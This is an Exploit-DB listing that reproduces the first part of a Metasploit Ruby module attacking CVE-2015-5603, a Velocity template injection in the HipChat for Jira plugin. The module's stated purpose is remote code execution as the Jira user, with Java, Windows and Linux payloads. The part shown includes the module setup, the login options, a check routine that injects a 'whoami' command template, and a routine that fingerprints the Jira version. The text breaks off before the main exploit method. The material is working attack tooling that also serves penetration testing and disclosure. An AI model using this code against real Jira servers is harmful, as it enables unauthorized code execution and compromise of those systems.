Exploit-DB #38905
Description: Atlassian HipChat for Jira Plugin - Velocity Template Injection (Metasploit)
Type: remote
Platform: multiple
Date: 2015-12-08
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'json'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Atlassian HipChat for Jira Plugin Velocity Template Injection",
      'Description'    => %q{
        Atlassian Hipchat is a web service for internal instant messaging. A plugin is available
        for Jira that allows team collibration at real time. A message can be used to inject Java
        code into a Velocity template, and gain code exeuction as Jira. Authentication is required
        to exploit this vulnerability, and you must make sure the account you're using isn't
        protected by captcha. By default, Java payload will be used because it is cross-platform,
        but you can also specify which native payload you want (Linux or Windows).

        HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
        between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
        a vulnerable copy of HipChat.

        When using the check command, if you supply a valid username and password, the module
        will be able to trigger the bug and check more accurately. If not, it falls back to
        passive, which can only tell if the target is running on a Jira version that is bundled
        with a vulnerable copy of Hipchat by default, which is less reliable.

        This vulnerability was originally discovered internally by Atlassian.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Wood', # PoC
          'sinn3r'      # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2015-5603' ],
          [ 'EDB', '38551' ],
          [ 'BID', '76698' ],
          [ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ]
        ],
      'Targets'        =>
        [
          [ 'HipChat for Jira plugin on Java',    { 'Platform' => 'java',  'Arch' => ARCH_JAVA }],
          [ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win',   'Arch' => ARCH_X86  }],
          [ 'HipChat for Jira plugin on Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_X86  }]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 8080
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 28 2015',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        # Auth is required, but when we use the check command we allow them to be optional.
        OptString.new('JIRAUSER', [false, 'Jira Username', '']),
        OptString.new('JIRAPASS', [false, 'Jira Password', '']),
        OptString.new('TARGETURI', [true, 'The base to Jira', '/'])
      ], self.class)
  end


  # Returns a cookie in a hash, so you can ask for a specific parameter.
  #
  # @return [Hash]
  def get_cookie_as_hash(cookie)
    Hash[*cookie.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/).flatten]
  end


  # Checks the target by actually triggering the bug.
  #
  # @return [Array] Exploit::CheckCode::Vulnerable if bug was triggered.
  #                 Exploit::CheckCode::Unknown if something failed.
  #                 Exploit::CheckCode::Safe for the rest.
  def do_explicit_check
    begin
      cookie = do_login
      # I don't really care which command to execute, as long as it's a valid one for both platforms.
      # If the command is valid, it should return {"message"=>"0"}.
      # If the command is not valid, it should return an empty hash.
      c = get_exec_code('whoami')
      res = inject_template(c, cookie)
      json = res.get_json_document
      if json['message'] && json['message'] == '0'
        return Exploit::CheckCode::Vulnerable
      end
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end


  # Returns the Jira version
  #
  # @return [String] Found Jira version
  # @return [NilClass] No Jira version found.
  def get_jira_version
    version = nil

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa')
    })

    unless res
      vprint_error('Connection timed out while retrieving the Jira version.')
      return version
    end

    metas = res.get_html_meta_elements

    version_element = metas.select { |m|
      m.attributes['name'] && m.attributes['name'].value == 'ajs-version-number'
    }.first

    unless version_element
      vprint_error('Unable to find the Jira version.')
      return version
    end

    version_element.attributes['content'] ? version_element.attributes['content'].value : nil
  end


  # Checks the target by looking at things like the Jira version, or whether the Jira web app
  # exists or not.
  #
  # @return [Array] Check code. If the Jira version matches the vulnerable range, it returns
  #                 Exploit::CheckCode::Appears. If we can only tell it runs on Jira, we return
  #                 Exploit::CheckCode::Detected, because it's possible to have Jira not bundled
  #                 with HipChat by default, but installed separately. For other scenarios, we
  #                 return Safe.
  def do_passive_check
    jira_version = get_jira_version
    vprint_status("Found Jira version: #{jira_version}")
    if jira_version && jira_version >= '6.3.5' && jira_version < '6.4.11'
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end